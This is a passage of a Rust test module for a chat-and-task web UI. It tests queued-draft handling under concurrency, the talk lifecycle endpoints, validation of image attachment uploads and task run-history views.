13152    /// When a turn is already running, the busy branch persists the
13153    /// operator's text as a queued draft and then reclaims the turn slot if
13154    /// the holder gave it up in the meantime - and whoever reclaims owes that
13155    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
13156    /// which finishes whether or not the future awaiting it is still there,
13157    /// so a handler dropped at that `.await` used to leave the draft written
13158    /// to disk with the reclaimed guard dropped unread and no drainer ever
13159    /// started: the message sat queued until some unrelated later `say`
13160    /// happened to pick it up.
13161    ///
13162    /// This used to drive the handler future by hand, polling it a fixed
13163    /// number of times to park it at the `.await` where it asks for the turn
13164    /// and finds it busy, before the reclaim's slot-free case could be set up
13165    /// underneath it. That assumed a fixed number of polls lands at a fixed
13166    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
13167    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
13168    /// poll, so any number of this handler's several `blocking` awaits can
13169    /// collapse into one poll under load, landing the drive somewhere other
13170    /// than intended - including, occasionally, straight past the handler's
13171    /// own completion, which made polling it again panic with "async fn
13172    /// resumed after completion". No poll count fixes that; the handler's
13173    /// progress simply is not something a caller outside it can observe by
13174    /// counting.
13175    ///
13176    /// [`BusyQueueGate`] replaces the poll count with a real stop point
13177    /// inside the write itself, so the interleaving under test is pinned by
13178    /// an event instead of a guess: the gate fires only once the handler has
13179    /// actually decided `Busy` and is about to persist the draft, and it
13180    /// blocks that write until the test lets it through. Between those two
13181    /// moments the test drains the turn the handler found busy - through
13182    /// `drain_loop`, the protocol's other half - and then aborts the handler
13183    /// task outright, the same way axum drops a disconnected request's
13184    /// future. The write, and the reclaim it may do, run to completion
13185    /// regardless: they live in the `tokio::spawn` task the busy branch hands
13186    /// to the runtime before ever touching the gate, wholly independent of
13187    /// whether the handler that started it is still around - which is what
13188    /// this test is actually checking. A drainer other than that reclaim
13189    /// cannot exist here: the test's own `drain_loop` call happens before the
13190    /// gate opens, so it runs while the queue is still empty and hands the
13191    /// turn straight back rather than draining anything, closing off the
13192    /// possibility of the final assertion passing without the reclaim ever
13193    /// having done its job.
13194    #[tokio::test]
13195    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
13196        let tmp = TempDir::new().expect("tempdir");
13197        let repo = tmp.path().join("repo");
13198        std::fs::create_dir_all(&repo).expect("repo dir");
13199        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13200        let home = TempDir::new().expect("temp home");
13201        let talks = Talks::at(home.path().join("talks"));
13202        let ui = Arc::new(
13203            Ui::new(
13204                Queue::at(home.path().join("queue")),
13205                Questions::at(home.path().join("questions")),
13206                talks.clone(),
13207                home.path().join("runs"),
13208                home.path().to_path_buf(),
13209                repo.clone(),
13210            )
13211            .with_worktrees_root(home.path().join("wt")),
13212        );
13213        let cfg = config_for(&repo).await.expect("discover config");
13214
13215        for attempt in 0..3u32 {
13216            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13217            let id = talk.id.clone();
13218            // A turn is already running, which is what sends `talk_say` down
13219            // the busy branch.
13220            let turn_guard = ui
13221                .begin_talk_turn(&id)
13222                .expect("claim the turn")
13223                .expect("a fresh talk owes nobody a turn");
13224
13225            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
13226            let (release_tx, release_rx) = std::sync::mpsc::channel();
13227            ui.set_busy_queue_gate(BusyQueueGate {
13228                reached: reached_tx,
13229                release: release_rx,
13230            });
13231
13232            let handler = tokio::spawn(talk_say(
13233                State(Arc::clone(&ui)),
13234                Path(id.clone()),
13235                Ok(Json(NewTalkTurn {
13236                    reply_to: None,
13237                    text: "what does the queue module do?".to_owned(),
13238                    attachments: Vec::new(),
13239                })),
13240            ));
13241
13242            // Wait for the busy branch to actually reach the gate, rather
13243            // than for any fixed number of polls of anything - a bounded
13244            // wait rather than a bare `.await` so a regression that never
13245            // reaches the gate fails the test instead of hanging it.
13246            tokio::time::timeout(Duration::from_secs(5), reached_rx)
13247                .await
13248                .unwrap_or_else(|_| {
13249                    panic!(
13250                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
13251                    )
13252                })
13253                .expect("the busy branch dropped the gate without using it");
13254
13255            // The turn that was running now finishes and gives the slot up
13256            // the way a real one does - through `drain_loop`, which finds
13257            // nothing queued yet (the write is still held at the gate) and
13258            // releases. The handler, parked inside `spawn_blocking` on the
13259            // other side of the gate, still believes the talk is busy -
13260            // exactly the interleaving the reclaim exists for.
13261            let running = talks.get(&id).expect("reload talk");
13262            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
13263
13264            // Drop the handler future now, the way a reloading phone drops
13265            // it: suspended waiting on the busy branch's answer, having
13266            // itself made no more progress since it handed the write off.
13267            handler.abort();
13268            let _ = handler.await;
13269
13270            // Only now let the gated write proceed. It persists the draft
13271            // and reclaims the now-free slot from inside the task the busy
13272            // branch already spawned - unaffected by the handler's abort
13273            // above, since that task was independent of the handler's own
13274            // future from the moment it was spawned.
13275            let _ = release_tx.send(());
13276
13277            // A settled talk: the draft drained into an operator turn and
13278            // answered.
13279            let mut fresh = talks.get(&id).expect("reload talk");
13280            for _ in 0..SETTLE_STEPS {
13281                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13282                    break;
13283                }
13284                tokio::time::sleep(Duration::from_millis(10)).await;
13285                fresh = talks.get(&id).expect("reload talk");
13286            }
13287            assert!(
13288                fresh.pending.is_empty() && fresh.turns.len() == 2,
13289                "attempt {attempt}: talk {id} left the operator's text queued \
13290                 with no drainer - the reclaimed turn was dropped along with \
13291                 the handler future (pending {:?}, {} turns)",
13292                fresh.pending,
13293                fresh.turns.len()
13294            );
13295        }
13296    }
13297
13298    #[tokio::test]
13299    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13300        let (_tmp, _repo, f) = talk_fixture().await;
13301        let id = f.post("/api/talks", None).await.json()["id"]
13302            .as_str()
13303            .expect("id")
13304            .to_owned();
13305        let store = f.talks();
13306        let mut recovered = store.get(&id).expect("opened talk");
13307        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13308            .expect("persist pending draft without a live turn");
13309
13310        let edited = f
13311            .post(
13312                &format!("/api/talks/{id}/pending/edit"),
13313                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13314            )
13315            .await;
13316        assert_eq!(edited.status, 200, "{}", edited.body);
13317        assert!(edited.json()["thinking"].as_bool().unwrap());
13318
13319        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13320        for _ in 0..SETTLE_STEPS {
13321            if detail["turns"].as_array().expect("turns").len() == 2 {
13322                break;
13323            }
13324            tokio::time::sleep(Duration::from_millis(10)).await;
13325            detail = f.get(&format!("/api/talks/{id}")).await.json();
13326        }
13327        let turns = detail["turns"].as_array().expect("turns");
13328        assert_eq!(
13329            turns.len(),
13330            2,
13331            "the recovered draft must run once: {detail}"
13332        );
13333        assert_eq!(turns[0]["body"], "corrected");
13334        assert_eq!(detail["pending"], "");
13335    }
13336
13337    #[tokio::test]
13338    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13339        let tmp = TempDir::new().expect("tempdir");
13340        let repo = tmp.path().join("repo");
13341        std::fs::create_dir_all(&repo).expect("repo dir");
13342        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13343        let f = Fixture::with_repo(repo).await;
13344        let id = f.post("/api/talks", None).await.json()["id"]
13345            .as_str()
13346            .expect("id")
13347            .to_owned();
13348        let store = f.talks();
13349        let mut recovered = store.get(&id).expect("opened talk");
13350        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13351            .expect("persist pending draft without a live turn");
13352
13353        let refused = f
13354            .post(
13355                &format!("/api/talks/{id}/say"),
13356                Some(r#"{"text":"new message"}"#),
13357            )
13358            .await;
13359        assert_eq!(refused.status, 409, "{}", refused.body);
13360        assert!(refused.body.contains("resume"), "{}", refused.body);
13361        let saved = store.get(&id).expect("draft remains after refusal");
13362        assert!(saved.turns.is_empty());
13363        assert_eq!(saved.pending, "saved before restart");
13364
13365        let say_path = format!("/api/talks/{id}/say");
13366        let (first, second) = tokio::join!(
13367            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13368            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13369        );
13370        assert_eq!(first.status, 409, "{}", first.body);
13371        assert_eq!(second.status, 409, "{}", second.body);
13372        let saved = store
13373            .get(&id)
13374            .expect("draft remains after concurrent refusals");
13375        assert!(saved.turns.is_empty());
13376        assert_eq!(saved.pending, "saved before restart");
13377
13378        let resumed = f
13379            .post(&format!("/api/talks/{id}/pending/resume"), None)
13380            .await;
13381        assert_eq!(resumed.status, 202, "{}", resumed.body);
13382        let duplicate = f
13383            .post(&format!("/api/talks/{id}/pending/resume"), None)
13384            .await;
13385        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13386
13387        for _ in 0..SETTLE_STEPS {
13388            if store.get(&id).expect("talk").turns.len() == 2 {
13389                break;
13390            }
13391            tokio::time::sleep(Duration::from_millis(10)).await;
13392        }
13393        let finished = store.get(&id).expect("finished talk");
13394        assert_eq!(finished.turns.len(), 2, "{finished:?}");
13395        assert_eq!(finished.turns[0].body, "saved before restart");
13396        assert!(finished.pending.is_empty());
13397    }
13398
13399    #[tokio::test]
13400    async fn an_image_only_recovered_draft_resumes_without_text() {
13401        let (_tmp, _repo, f) = talk_fixture().await;
13402        let id = f.post("/api/talks", None).await.json()["id"]
13403            .as_str()
13404            .expect("id")
13405            .to_owned();
13406        let uploaded = f
13407            .post_bytes(
13408                &format!("/api/talks/{id}/attachments"),
13409                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13410                PNG_BYTES,
13411            )
13412            .await;
13413        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13414        let attachment = f
13415            .talks()
13416            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13417            .expect("attachment metadata")
13418            .expect("stored attachment");
13419        let store = f.talks();
13420        let mut recovered = store.get(&id).expect("opened talk");
13421        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13422
13423        let resumed = f
13424            .post(&format!("/api/talks/{id}/pending/resume"), None)
13425            .await;
13426        assert_eq!(resumed.status, 202, "{}", resumed.body);
13427        for _ in 0..SETTLE_STEPS {
13428            if store.get(&id).expect("talk").turns.len() == 2 {
13429                break;
13430            }
13431            tokio::time::sleep(Duration::from_millis(10)).await;
13432        }
13433        let finished = store.get(&id).expect("finished talk");
13434        assert_eq!(finished.turns.len(), 2, "{finished:?}");
13435        assert!(finished.turns[0].body.is_empty());
13436        assert_eq!(finished.turns[0].attachments.len(), 1);
13437        assert!(finished.pending_attachments.is_empty());
13438    }
13439
13440    #[tokio::test]
13441    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13442        let (_tmp, _repo, f) = talk_fixture().await;
13443        let id = f.post("/api/talks", None).await.json()["id"]
13444            .as_str()
13445            .expect("id")
13446            .to_owned();
13447        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13448        assert_eq!(closed.status, 200, "{}", closed.body);
13449        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13450            .expect("serialize closed talk");
13451        for (path, body) in [
13452            (format!("/api/talks/{id}/pending/resume"), None),
13453            (
13454                format!("/api/talks/{id}/pending/clear"),
13455                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
13456            ),
13457            (
13458                format!("/api/talks/{id}/pending/edit"),
13459                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
13460            ),
13461            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
13462        ] {
13463            let response = f.post(&path, body).await;
13464            assert_eq!(response.status, 409, "{}", response.body);
13465        }
13466        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13467            .expect("serialize closed talk");
13468        assert_eq!(
13469            after_clear, before_clear,
13470            "clear must not rewrite a closed talk"
13471        );
13472    }
13473
13474    /// Keeps both claims observable long enough to exercise the distinction
13475    /// between one busy talk and a globally locked Chat surface.
13476    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
13477
13478    #[tokio::test]
13479    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
13480        let tmp = TempDir::new().expect("tempdir");
13481        let repo = tmp.path().join("repo");
13482        std::fs::create_dir_all(&repo).expect("repo dir");
13483        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13484        let f = Fixture::with_repo(repo).await;
13485        let id_a = f.post("/api/talks", None).await.json()["id"]
13486            .as_str()
13487            .unwrap()
13488            .to_owned();
13489        let id_b = f.post("/api/talks", None).await.json()["id"]
13490            .as_str()
13491            .unwrap()
13492            .to_owned();
13493
13494        let a = f
13495            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
13496            .await;
13497        assert_eq!(a.status, 202, "{}", a.body);
13498        assert_eq!(a.json()["thinking"], true);
13499        let b = f
13500            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
13501            .await;
13502        assert_eq!(b.status, 202, "{}", b.body);
13503        assert_eq!(b.json()["thinking"], true);
13504
13505        let listed = f.get("/api/talks").await.json();
13506        for id in [&id_a, &id_b] {
13507            let view = listed
13508                .as_array()
13509                .unwrap()
13510                .iter()
13511                .find(|talk| talk["id"] == *id)
13512                .unwrap();
13513            assert_eq!(view["thinking"], true, "{listed}");
13514        }
13515        let repeated = f
13516            .post(
13517                &format!("/api/talks/{id_a}/say"),
13518                Some(r#"{"text":"again"}"#),
13519            )
13520            .await;
13521        assert_eq!(repeated.status, 202, "{}", repeated.body);
13522        assert_eq!(repeated.json()["pending"], "again");
13523    }
13524
13525    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
13526    /// few more, since real uploads are never exactly eight bytes.
13527    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
13528
13529    #[tokio::test]
13530    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
13531        let f = Fixture::start().await;
13532        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
13533
13534        let res = f
13535            .post_bytes(
13536                &format!("/api/talks/{id}/attachments"),
13537                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13538                PNG_BYTES,
13539            )
13540            .await;
13541        assert_eq!(res.status, 201, "{}", res.body);
13542        let body = res.json();
13543        assert_eq!(body["name"], "shot.png");
13544        assert_eq!(body["mime"], "image/png");
13545        assert_eq!(body["bytes"], PNG_BYTES.len());
13546        let att_id = body["id"].as_str().expect("id").to_owned();
13547        assert_eq!(
13548            att_id.len(),
13549            32,
13550            "the id must never be a client-suppliable path: {att_id}"
13551        );
13552
13553        let got = f
13554            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
13555            .await;
13556        assert_eq!(got.status, 200, "{}", got.body);
13557        assert_eq!(got.header("content-type"), Some("image/png"));
13558        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
13559        assert_eq!(got.bytes, PNG_BYTES);
13560    }
13561
13562    #[tokio::test]
13563    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
13564        let f = Fixture::start().await;
13565        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
13566
13567        // SVG can carry a `<script>`, so it is never on the whitelist even
13568        // though it is a real IANA image type.
13569        let svg = f
13570            .post_bytes(
13571                &format!("/api/talks/{id}/attachments"),
13572                &[("Content-Type", "image/svg+xml")],
13573                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
13574            )
13575            .await;
13576        assert!(
13577            (400..500).contains(&svg.status),
13578            "svg must be refused: {} {}",
13579            svg.status,
13580            svg.body
13581        );
13582        assert!(svg.body.contains("SVG"), "{}", svg.body);
13583
13584        let text = f
13585            .post_bytes(
13586                &format!("/api/talks/{id}/attachments"),
13587                &[("Content-Type", "text/plain")],
13588                b"just some text",
13589            )
13590            .await;
13591        assert!(
13592            (400..500).contains(&text.status),
13593            "an unlisted type must be refused: {} {}",
13594            text.status,
13595            text.body
13596        );
13597
13598        // The declared type is a real png, but the size check runs before
13599        // the bytes are even looked at.
13600        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
13601        let big = f
13602            .post_bytes(
13603                &format!("/api/talks/{id}/attachments"),
13604                &[("Content-Type", "image/png")],
13605                &oversized,
13606            )
13607            .await;
13608        assert_eq!(
13609            big.status,
13610            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
13611            "{}",
13612            big.body
13613        );
13614    }
13615
13616    #[tokio::test]
13617    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
13618        let f = Fixture::start().await;
13619        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
13620
13621        // A whitelisted `Content-Type`, but bytes that are not actually a
13622        // png - the declared header alone is never trusted.
13623        let res = f
13624            .post_bytes(
13625                &format!("/api/talks/{id}/attachments"),
13626                &[("Content-Type", "image/png")],
13627                b"<html>not a picture</html>",
13628            )
13629            .await;
13630        assert!((400..500).contains(&res.status), "{}", res.body);
13631    }
13632
13633    #[tokio::test]
13634    async fn an_unknown_attachment_id_is_a_404() {
13635        let f = Fixture::start().await;
13636        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
13637
13638        let res = f
13639            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
13640            .await;
13641        assert_eq!(res.status, 404, "{}", res.body);
13642    }
13643
13644    #[tokio::test]
13645    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
13646        let f = Fixture::start().await;
13647        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
13648
13649        let uploaded = f
13650            .post_bytes(
13651                &format!("/api/talks/{id}/attachments"),
13652                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13653                PNG_BYTES,
13654            )
13655            .await;
13656        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13657        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
13658
13659        let res = f
13660            .post(
13661                &format!("/api/talks/{id}/say"),
13662                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
13663            )
13664            .await;
13665        assert_eq!(res.status, 202, "{}", res.body);
13666        let queued = res.json();
13667        let turns = queued["turns"].as_array().expect("turns array");
13668        assert_eq!(
13669            turns.len(),
13670            1,
13671            "an empty body with an attachment is still a turn: {queued}"
13672        );
13673        assert_eq!(turns[0]["who"], "operator");
13674        assert_eq!(turns[0]["body"], "");
13675        let atts = turns[0]["attachments"]
13676            .as_array()
13677            .expect("attachments array");
13678        assert_eq!(atts.len(), 1);
13679        assert_eq!(atts[0]["id"], att_id);
13680        assert_eq!(atts[0]["mime"], "image/png");
13681
13682        // Not only in the response: `record` flushes to disk before the
13683        // agent's own turn is even spawned.
13684        let on_disk = f.talks().get(&id).expect("get");
13685        assert_eq!(on_disk.turns[0].attachments.len(), 1);
13686        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
13687    }
13688
13689    #[tokio::test]
13690    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
13691        let f = Fixture::start().await;
13692        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
13693
13694        let res = f
13695            .post(
13696                &format!("/api/talks/{id}/say"),
13697                Some(&format!(
13698                    r#"{{"text":"hi","attachments":["{}"]}}"#,
13699                    "a".repeat(32)
13700                )),
13701            )
13702            .await;
13703        assert!((400..500).contains(&res.status), "{}", res.body);
13704        assert!(res.body.contains("unknown attachment"), "{}", res.body);
13705
13706        let on_disk = f.talks().get(&id).expect("get");
13707        assert!(
13708            on_disk.turns.is_empty(),
13709            "a rejected attachment id must not partially record the turn: {:?}",
13710            on_disk.turns
13711        );
13712    }
13713
13714    #[tokio::test]
13715    async fn talk_close_makes_the_talk_refuse_further_turns() {
13716        let f = Fixture::start().await;
13717        let id = seed_talk(&f, "20260904-014455-cd34", "open");
13718
13719        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13720        assert_eq!(closed.status, 200, "{}", closed.body);
13721        assert_eq!(closed.json()["status"], "closed");
13722
13723        // Idempotent: closing an already-closed talk is not an error.
13724        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
13725        assert_eq!(closed_again.status, 200);
13726        assert_eq!(closed_again.json()["status"], "closed");
13727
13728        let said = f
13729            .post(
13730                &format!("/api/talks/{id}/say"),
13731                Some(r#"{"text":"too late"}"#),
13732            )
13733            .await;
13734        assert_eq!(said.status, 409, "{}", said.body);
13735    }
13736
13737    #[tokio::test]
13738    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
13739        let (_tmp, _repo, f) = talk_fixture().await;
13740        let id = f.post("/api/talks", None).await.json()["id"]
13741            .as_str()
13742            .expect("id")
13743            .to_owned();
13744        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13745        assert_eq!(closed.status, 200, "{}", closed.body);
13746
13747        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13748        assert_eq!(reopened.status, 200, "{}", reopened.body);
13749        assert_eq!(reopened.json()["status"], "open");
13750
13751        // Idempotent: reopening an already-open talk is not an error.
13752        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13753        assert_eq!(reopened_again.status, 200);
13754        assert_eq!(reopened_again.json()["status"], "open");
13755
13756        let said = f
13757            .post(
13758                &format!("/api/talks/{id}/say"),
13759                Some(r#"{"text":"still there?"}"#),
13760            )
13761            .await;
13762        assert_eq!(
13763            said.status, 202,
13764            "a reopened talk accepts turns again: {}",
13765            said.body
13766        );
13767    }
13768
13769    #[tokio::test]
13770    async fn talk_reopen_on_an_unknown_id_is_404() {
13771        let f = Fixture::start().await;
13772        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
13773        assert_eq!(res.status, 404, "{}", res.body);
13774    }
13775
13776    #[tokio::test]
13777    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
13778        let f = Fixture::start().await;
13779        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
13780
13781        let deleted = f.delete(&format!("/api/talks/{id}")).await;
13782        assert_eq!(deleted.status, 204, "{}", deleted.body);
13783
13784        let after = f.get(&format!("/api/talks/{id}")).await;
13785        assert_eq!(after.status, 404, "{}", after.body);
13786
13787        let listed = f.get("/api/talks").await.json();
13788        assert!(
13789            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
13790            "a deleted talk must not linger in the list: {listed}"
13791        );
13792    }
13793
13794    #[tokio::test]
13795    async fn talk_delete_on_an_unknown_id_is_404() {
13796        let f = Fixture::start().await;
13797        let res = f.delete("/api/talks/nonexistent-id").await;
13798        assert_eq!(res.status, 404, "{}", res.body);
13799    }
13800
13801    /// A task's page lists every run it ever had, in order, and says what kind
13802    /// of attempt each was - including a resume, which re-pushes the same run
13803    /// id, and a run whose record this build cannot read.
13804    #[tokio::test]
13805    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
13806        let f = Fixture::start().await;
13807        let (a, b, gone) = (
13808            "20260902-140501-aaaa",
13809            "20260902-140502-bbbb",
13810            "20260902-140503-cccc",
13811        );
13812        write_run(&f.runs(), a, RunStatus::Stalled);
13813        let mut review = RunState::new(
13814            PathBuf::from("/repo/magi"),
13815            "main".to_owned(),
13816            "0123456789abcdef".to_owned(),
13817            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
13818                .to_owned(),
13819            Config::default(),
13820        );
13821        review.id = b.to_owned();
13822        review.status = RunStatus::Merged;
13823        write_state(&f.runs(), &review);
13824
13825        let mut task = Task::new(
13826            "retry".to_owned(),
13827            "Do the thing".to_owned(),
13828            PathBuf::from("/repo/magi"),
13829            Source::Human,
13830        );
13831        task.start(a.to_owned());
13832        task.stall("quota");
13833        task.start(a.to_owned());
13834        task.start(b.to_owned());
13835        task.start(gone.to_owned());
13836        // This fixture models an older queue file with repeated run entries.
13837        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
13838        f.queue().put(&mut task).expect("file the task");
13839
13840        let res = f.get(&format!("/api/queue/{}", task.id)).await;
13841        assert_eq!(res.status, 200, "{}", res.body);
13842        let v = res.json();
13843        let h = v["history"].as_array().expect("history");
13844        assert_eq!(h.len(), 4, "{v}");
13845        assert_eq!(h[0]["kind"], "competition");
13846        assert_eq!(h[0]["status"], "stalled");
13847        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
13848        assert_eq!(h[1]["kind"], "resume", "{v}");
13849        assert!(
13850            h[0]["outcome"]
13851                .as_str()
13852                .unwrap()
13853                .contains("unknown. Pass #2"),
13854            "an earlier pass of a resumed run must not claim the final outcome: {v}"
13855        );
13856        assert!(
13857            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
13858            "{v}"
13859        );
13860        assert!(
13861            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
13862            "an unrecorded cause must not be narrated as an operator park: {v}"
13863        );
13864        assert_eq!(h[2]["kind"], "review");
13865        assert!(
13866            h[2]["description"]
13867                .as_str()
13868                .unwrap()
13869                .contains("magi/aaaa/A")
13870        );
13871        assert_eq!(h[2]["status"], "merged");
13872        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
13873        assert_eq!(v["runs_unreadable"], 1);
13874        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
13875        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
13876        assert_eq!(nodes[4]["note"], "unreadable");
13877        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
13878        assert_eq!(v["instruction"], "Do the thing");
13879        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
13880
13881        // The run's own page links back to the task.
13882        let run = f.get(&format!("/api/runs/{a}")).await.json();
13883        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
13884
13885        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
13886    }
13887
13888    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
13889        let mut s = RunState::new(
13890            PathBuf::from("/repo/magi"),
13891            "main".to_owned(),
13892            "0123456789abcdef".to_owned(),
13893            "Do it".to_owned(),
13894            Config::default(),
13895        );
13896        s.status = status;
13897        edit(&mut s);
13898        s
13899    }
13900
13901    fn flow_task(runs: &[&str]) -> Task {
13902        let mut t = Task::new(
13903            "t".to_owned(),
13904            "Do it".to_owned(),
13905            PathBuf::from("/repo/magi"),
13906            Source::Human,
13907        );
13908        for r in runs {
13909            t.start((*r).to_owned());
13910        }
13911        // Synthetic flows without RunPass records model legacy queue data.
13912        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13913        t
13914    }
13915
13916    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
13917        let h = task_history(task, |id| {
13918            states
13919                .iter()
13920                .find(|(i, _)| *i == id)
13921                .and_then(|(_, s)| s.clone())
13922        });
13923        task_flow(task, &h, 5, None)
13924    }
13925
13926    #[test]
13927    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
13928        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
13929        let created = "2026-10-10T01:00:00Z".parse().unwrap();
13930        let first = "2026-10-10T02:00:00Z".parse().unwrap();
13931        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
13932        let held = "2026-10-10T04:00:00Z".parse().unwrap();
13933        let run = flow_run(RunStatus::Implementing, |s| {
13934            s.created_at = created;
13935            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
13936            s.passes[0].started_at = first;
13937            s.passes[1].started_at = resumed;
13938        });
13939        let mut task = flow_task(&[RUN_X, RUN_X]);
13940        task.created_at = queued;
13941        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
13942        task.status = TaskStatus::Held;
13943        task.held_at = Some(held);
13944        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
13945        assert_eq!(
13946            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
13947            vec![Some(queued), Some(first), Some(resumed), Some(held)]
13948        );
13949        assert!(flow.nodes.iter().all(|n| n.time_expected));
13950        let json = serde_json::to_value(&flow).unwrap();
13951        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
13952        assert_eq!(json["nodes"][2]["time_expected"], true);
13953    }
13954
13955    #[test]
13956    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
13957        let created = "2026-10-10T01:00:00Z".parse().unwrap();
13958        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
13959        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
13960        // These timestamps are not the start of the current status.
13961        task.held_at = Some(created);
13962        task.blocked_at = Some(created);
13963        for status in [
13964            TaskStatus::Queued,
13965            TaskStatus::Running,
13966            TaskStatus::Blocked,
13967            TaskStatus::Done,
13968            TaskStatus::Failed,
13969            TaskStatus::Parked,
13970            TaskStatus::Held,
13971        ] {
13972            task.status = status;
13973            if status == TaskStatus::Held {
13974                task.held_at = None;
13975            }
13976            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
13977            assert_eq!(flow.nodes[1].started_at, Some(created));
13978            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
13979            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
13980            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
13981            let json = serde_json::to_value(&flow).unwrap();
13982            assert!(json["nodes"][3]["started_at"].is_null());
13983            assert_eq!(json["nodes"][3]["time_expected"], true);
13984        }
13985    }
13986
13987    #[test]
